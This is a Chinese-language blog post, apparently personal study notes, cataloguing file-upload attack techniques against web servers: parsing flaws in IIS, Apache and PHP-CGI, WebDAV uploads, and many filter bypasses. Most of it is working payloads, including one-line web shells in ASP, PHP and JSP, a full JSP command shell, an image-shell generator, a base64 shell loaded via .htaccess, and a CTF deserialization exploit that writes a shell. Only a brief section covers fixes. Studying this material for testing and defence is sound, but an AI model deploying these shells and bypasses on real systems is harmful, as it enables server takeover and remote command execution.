HacKerQWQ的博客空间

文件上传漏洞知识点整理

Word count: 3.8kReading time: 16 min
2020/06/11 Share

2020.6.11第一次更新
前言:上传漏洞,简单来说,就是后端对用户上传上来的文件没有做好格式验证和内容检测,导致用户可以上传任意文件。

解析漏洞

常见的Web容器有IIS、Nginx、Apache、Tomcat

IIS6.0解析漏洞

IIS6.0版本存在两个解析漏洞,然而官方并不认为这是漏洞,因此这个漏洞现在依然存在。

.asp、.asa后缀的文件夹

当建立*.asa、*.asp格式的文件夹时,其下的任意文件都会被当成asp文件来执行。

example:
建立文件夹parsing.asp和其下文件test.txt(test.txt的内容是<%=NOW()%>)

分析:一般来说IIS是不会解析TXT类型的文件的,而是直接显示文件内容,然而在parsing.asp文件夹下确直接执行了**NOW()**函数。

*.aps;1.jpg格式的文件

当文件是*.asp;1.jpg,内容为<%=NOW()%>时,同样会被当做ASP脚本执行,效果同上。

拓展WebDav

简介:WebDav(Web-based Distributed Authoring and Versioning)是基于HTTP1.1的通信协议,拓展了HTTP协议,在GET、POST、HEAD等几个常见的HTTP方法之外新增了PUT、Delete、Move、Copy等方法

只要使用IIS(6.0)并且拓展了WebDav协议的话,就存在十分危险的上传漏洞

步骤分为以下几步:

  • 第一步:通过OPTIONS探测服务器支持的HTTP方法
    请求:

    1
    2
    OPTIONS / HTTP/1.1
    Host:www.baidu.com

    响应(部分):

    1
    2
    3
    4
    HTTP/1.1 200 OK
    Allow: OPTIONS,TRACE,GET,HEAD,DELETE,COPY,MOVE,PROPFIND,PROPPATCH,SEARCH,MKCOL,LOCK,UNLOCK
    Public: OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLICK,SEARCH
    Server: Microsoft-IIS/6.0

    发现包含这些WebDav拓展方法之后就可以任意上传文件、更改文件名

  • 第二步:通过PUT向服务器上传脚本文件
    请求(部分):

    1
    2
    3
    4
    PUT /a.txt HTTP/1.1
    Host: www.baidu.com

    <?php @eval($_POST['passwd']);?>

    响应(部分):

    1
    2
    3
    HTTP/1.1 201 Created
    Allow: OPTIONS,TRACE,GET,HEAD,DELETE,COPY,MOVE,PROPFIND,PROPPATCH,SEARCH,MKCOL,LOCK,UNLOCK
    Server: Microsoft-IIS/6.0
  • 第三步:通过Move或者Copy改名
    请求(部分):

    1
    2
    3
    COPY /a.txt HTTP/1.1
    Host: www.baidu.com
    Destination: http://www.secbug.org/cmd.asp

    响应(部分):

    1
    2
    HTTP/1.1 201 Created
    Server: Microsoft-IIS/6.0

Apache解析漏洞

出现范围:Apache 1.x和Apache 2.x版本

当出现Apache不认识的拓展名的时候会向前解析拓展名直到遍历到认识的拓展名为止

比如:将test.php.rr上传到Apache服务器时,服务器不认识rr拓展名就向前解析,解析到php并执行,如果后端没有对上传文件的拓展名有足够的过滤的话,一个WebShell就这样上传了

PHP CGI解析漏洞

简介:一般出现在Nginx、IIS7.0、IIS7.5、Lighthttpd

简单来说就是在一个存在的文件路径后面加上一个不存在的php文件之后,Web容器就会将已存在的该文件当做PHP文件执行

又到了喜闻乐见的举例子环节:

比如说你上传了一个test.jpg文件(经过软件处理加了一句话木马)到服务器上面之后,在文件名后面加上”/1.php“,此时test.jpg就会被执行,完整路径:www.test.com/test.jpg/1.php

  • 在新版本的php中加入了 security.limit_extensions参数限制默认解析的php脚本后缀为php,除非自主添加

绕过上传漏洞

一句话木马

1
2
3
4
5
6
7
# ASP
<% eval request("cmd") %>
# PHP
<?php echo passthru($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
# JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

PHP:
ASP: <%eval request(“hello”)%>
ASP.NET: <%@ Page Language=”Jscript”%><%eval(Request.Item[‘hello’],’unsafe’);%>

Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
// response.setCharacterEncoding("GBK");
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
char[] strings = new char[1024];
int len = -1;
InputStreamReader reader = new InputStreamReader(in,"gbk");
StringBuilder builder = new StringBuilder();
while((len=reader.read(strings))!=-1){
builder.append(strings);
}
out.print(builder);
}
%>
</pre>
</BODY></HTML>

客户端检测

1.FireBug,这款工具据我了解就是现在FireFox的集成工具F12(万能的F12)

具体操作:通过FireBug将页面中绑定的JS操作解除,但是一般行不通,因为浏览器在渲染页面的时候已经将JS与按钮绑定了,再修改也起不到作用,修改长度则可以

2.中间人攻击

使用Burpsuite之类的软件拦截浏览器发送的包,首先在页面将木马文件的拓展名改为正常的图片的拓展名然后上传,然后用Burpsuite将包拦截下来,将**.jpg等后缀改为.php**就可以绕过客户端检测了,

注意:相对应的Content-Length也要随着字节的变动而改变

服务器检测

根据开发人员的习惯不同,一般包含:白名单与黑名单过滤拓展名过滤文件类型检测文件重命名等,但是有些开发人员会忘记解析漏洞的存在,这样上传漏洞配合解析漏洞就形成了突破口。

白名单与黑名单验证

黑名单过滤

所谓黑名单过滤就是过滤掉一些拓展名在黑名单列表的文件

绕过方式:

Num.1:尝试黑名单里面没有列到的拓展名,例如cer、php5等等

Num.2:有些upload.php没有对上传的文件拓展名进行大小写的转换,那就意味着可以上传phpasp这样的文件,而此类拓展名在**Windows**平台依然会被Web容器解析

Num.3:在Windows系统下,如果文件是以**”.”或者空格**结尾的话,系统会自动去除

比如说可以上传**”.asp.”或者“.php “这样的文件,服务端在接收文件之后,Windows**系统会自动去除小数点和空格

因此,黑名单是不安全的,未知的风险太多

白名单过滤

白名单就是只允许通过一些拓展名在列表里面的文件

白名单相对于黑名单来说安全性更高,但是也不能完全依赖,因为不能完全防御上传漏洞

比如说:当Web容器是IIS6.0的时候,攻击者就可以上传test.php;1.jpg来绕过白名单过滤

MIME验证

HTTP头里面包含了一个Content-Type字段,这是服务器用来识别上传文件类型的字段

如果上传的文件是php类型的,那么HTTP头的该字段会显示如下:

1
Content-Type: application/php

只要将它修改为

1
Content-Type: image/jpeg

就可以通过程序的验证

常见MIME类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
超文本标记语言文本 .html text/html

xml文档 .xml text/xml

XHTML文档 .xhtml application/xhtml+xml

普通文本 .txt text/plain

RTF文本 .rtf application/rtf

PDF文档 .pdf application/pdf

Microsoft Word文件 .word application/msword

PNG图像 .png image/png

GIF图形 .gif image/gif

JPEG图形 .jpeg,.jpg image/jpeg

au声音文件 .au audio/basic

MIDI音乐文件 mid,.midi audio/midi,audio/x-midi

RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio

MPEG文件 .mpg,.mpeg video/mpeg

AVI文件 .avi video/x-msvideo

GZIP文件 .gz application/x-gzip

TAR文件 .tar application/x-tar

更多MIME格式:https://www.w3school.com.cn/media/media_mimeref.asp

目录验证

当你上传的指定目录不存在时,有些程序员会为了代码的健壮性,新建一个目录让你放文件,其实这是很危险的

假如服务器使用的是IIS6.0的Web容器,而此时你要上传的目录是test.php,那无论上传任何文件都能被当做脚本执行,更别说是一句话木马了

截断上传攻击

前提条件:

  • php 版本小于 5.3.4
  • php的magic_quotes_gpc为OFF状态

截断上传攻击在ASPPHPJSP都存在这样的问题,ASP较为常见

具体演示:将上传的文件名称改为test.php(空格)1.jpg然后在Hex表里面将20改为00

原理:当程序输出%00的时候会将它作为数据流结束的信号,因此后面的内容不会被读取到

文本编辑器上传漏洞

常见的文本编辑器有CKEditorEwebeditorUEditorKindEditorXHeditor等,这些编辑器的功能差不多,都有图片上传、视频上传、远程下载等功能

优点:方便、集成性好
缺点:一旦有漏洞,使用这款文本编辑器的服务器就呵呵了

FCKeditor(现为CKEditor)为例子:
1.目录存在敏感信息泄露问题
2.版本低于2.43采用了黑名单策略,忽略了asa、cer等危险脚本文件
3.任意文件上传漏洞(2.42及以下)
只要在请求文件的后面加上**/Type=Media**就可以上传任意文件

从这些例子可以看出,使用文本编辑器一旦有漏洞,造成的后果不堪设想~

针对Windows系统绕过

上传未限制后缀的文件

简单来说,就是fuzz后缀,没有限制什么就上传什么

大小写混合绕过

windows 系统中的特性,文件的文件名大小写组合也可以运行,是不区分大小写的,所以在一些上传点中,例如黑名单禁止 x.php 上传,就可以构造 x.Php 等文件,上传到服务器之后 x.Php 在 windows 系统中仍然会以 php 文件来处理执行。

末尾添加.绕过

在某些环境中可以使用 x.php. 文件绕过上传,文件上传到 windows 服务器后,会根据 windows 特有的机制在保存文件是将文件结尾的 . 去掉,这样既绕过里上传限制,也保存下来里 x.php 文件(结尾加 . 可以与双写或大小写混用,但是仅限 windows 系统)。

末尾添加空格绕过

上传文件是使用 burpsuite 抓包在结尾处添加空格即可,windows 会在保存文件时将空格去掉。

img

末尾添加::$DATA绕过

::$DATA 是 windows 的 NTFS 文件系统中的一种机制,当文件名结尾为 ::$DATA 则触发,但是最终保存下来的文件名是不带 ::$DATA 的,从而绕过黑名单限制上传。

1
2
shell.php:1.jpg
Shell.php::$DATA

修复上传漏洞

1.过滤上传目录
2.文件重命名
3.对文件内容进行审查

4.对文件后缀进行审查

.htaccess

1
2
3
<FilesMatch 1.jpg>
SetHandler application/x-httpd-php
</FilesMatch>

.user.ini

1
auto_prepend_file=1.jpg

Magic检测绕过

类型 十六进制值
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61
PNG 89 50 4E 47
TIF 49 49 2A 00
BMP 42 4D

冷门后缀绕过

php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。

除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

图片马配合文件包含漏洞绕过

  • 简易版本,GIF图片马
1
2
3
4
5
6
7
GIF89a

<?php

phpinfo();

?>
  • copy生成图片马

    1
    copy file.png/b+shell.php/a shell.png
  • php生成图片马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

//png.php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {

$r = $p[$y];

$g = $p[$y+1];

$b = $p[$y+2];

$color = imagecolorallocate($img, $r, $g, $b);

imagesetpixel($img, round($y 3), 0, $color);

}

imagepng($img,'./pass17.png');

?>

生成图片马

1
php payload.php  file.png

file.png为普通图片,生成的pass17.png为图片马

系统命令绕过

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。

彻底绕过php标签限制

先上传shell.jpg

1
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

上面是<?php eval($_POST['cmd']);?>的base64编码

再上传.htaccess对shell进行解码

1
2
3
4
<FilesMatch shell.jpg>
SetHandler application/x-httpd-php
</FilesMatch>
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=/var/www/html/upload/c859b01087836ef61e0ccaf9d7a1c485/shell.jpg"

最后post命令执行成功

绕过getimagesize

1
2
#define width 1
#define height 1

加到文件尾部

更多php标签

1
2
3
<?php ?>
<?= ?>
<script language="php"></script>

pathinfo绕过

题目:2021慕测web安全测试大赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
highlight_file(__FILE__);
class OhYouFindIt{
public $content = "Hello Hacker.<br>";
function __destruct(){
echo $this->content;
}
}
class writeshell{
public $filename;
public $content;
function __toString()
{
if(!in_array(pathinfo($this->filename, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
system('rm -rf ../upload/*');
file_put_contents("../upload/".$this->filename, $this->content);
echo "ok~ You File is"."../upload/".$this->filename;
}else{
exit("Go Way Hacker");
}
return "";
}
}


$content = $_GET['content'];
if (!isset($content))
{
$a = new OhYouFindIt();
}else{
unserialize(base64_decode($content));
}
?>

这里对上传文件的后缀进行了校验,可以通过将文件名修改为shell.php/.来绕过

image-20211118233211039

exp如下

1
2
3
4
5
6
7
8
$m = new writeshell();
$m->filename = "1.php/.";
$m->content = 'GIF89a<?php eval($_GET[\'a\']);';
$o = new OhYouFindIt();
$o->content = $m;
$payload = base64_encode(serialize($o));
echo $payload;
//unserialize(base64_decode($payload));

在 Apache 2 里,必须设置 UseCanonicalName = OnServerName。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。

参考链接:https://blog.csdn.net/lilongsy/article/details/120764318

zip软链接绕过

当服务器脚本对上传的zip文件进行了解压的话,可以尝试软链接,将文件解压到指定目录

  1. 创建软链接test到/var/www/html

    1
    2
    ln -s /var/www/html test
    zip --symlinks test.zip test

    然后上传到服务器,此时会生成一个软链接

  2. 创建test文件夹然后将shell文件放进去,进行压缩

    1
    2
    3
    mkdir test
    echo '<?php eval($_POST["cmd"]);?>'> test/shell.php
    zip -r shell.zip test

    上传shell.zip,此时就可以在/var/www/html访问到shell了

image-20211115222450175

例题:2021深育杯ZipZip

参考链接

CATALOG
  1. 1. 解析漏洞
    1. 1.1. IIS6.0解析漏洞
      1. 1.1.1. .asp、.asa后缀的文件夹
      2. 1.1.2. *.aps;1.jpg格式的文件
      3. 1.1.3. 拓展WebDav
    2. 1.2. Apache解析漏洞
    3. 1.3. PHP CGI解析漏洞
  2. 2. 绕过上传漏洞
    1. 2.1. 一句话木马
    2. 2.2. 客户端检测
    3. 2.3. 服务器检测
      1. 2.3.1. 白名单与黑名单验证
        1. 2.3.1.1. 黑名单过滤
        2. 2.3.1.2. 白名单过滤
      2. 2.3.2. MIME验证
      3. 2.3.3. 目录验证
      4. 2.3.4. 截断上传攻击
    4. 2.4. 文本编辑器上传漏洞
    5. 2.5. 针对Windows系统绕过
      1. 2.5.1. 上传未限制后缀的文件
      2. 2.5.2. 大小写混合绕过
      3. 2.5.3. 末尾添加.绕过
      4. 2.5.4. 末尾添加空格绕过
      5. 2.5.5. 末尾添加::$DATA绕过
    6. 2.6. 修复上传漏洞
    7. 2.7. .htaccess
    8. 2.8. .user.ini
    9. 2.9. Magic检测绕过
    10. 2.10. 冷门后缀绕过
    11. 2.11. 图片马配合文件包含漏洞绕过
    12. 2.12. 系统命令绕过
    13. 2.13. 竞争上传绕过
    14. 2.14. 彻底绕过php标签限制
    15. 2.15. 绕过getimagesize
    16. 2.16. 更多php标签
    17. 2.17. pathinfo绕过
    18. 2.18. zip软链接绕过
  3. 3. 参考链接